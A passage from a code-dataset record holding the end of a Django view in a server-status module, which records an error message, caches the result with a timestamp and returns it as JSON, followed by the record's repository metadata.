e.message:\n result['error'] = e.message\n else:\n result['error'] = str(e)\n \n MiscStorage.set(ms_key, json.dumps({\n 'timestamp': int(time.time()),\n 'data': result,\n }))\n\n result['cached'] = False\n\n return JsonResponse(result)","repo_name":"Red-Teapot/bbyaworld.com-django","sub_path":"server_status/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"}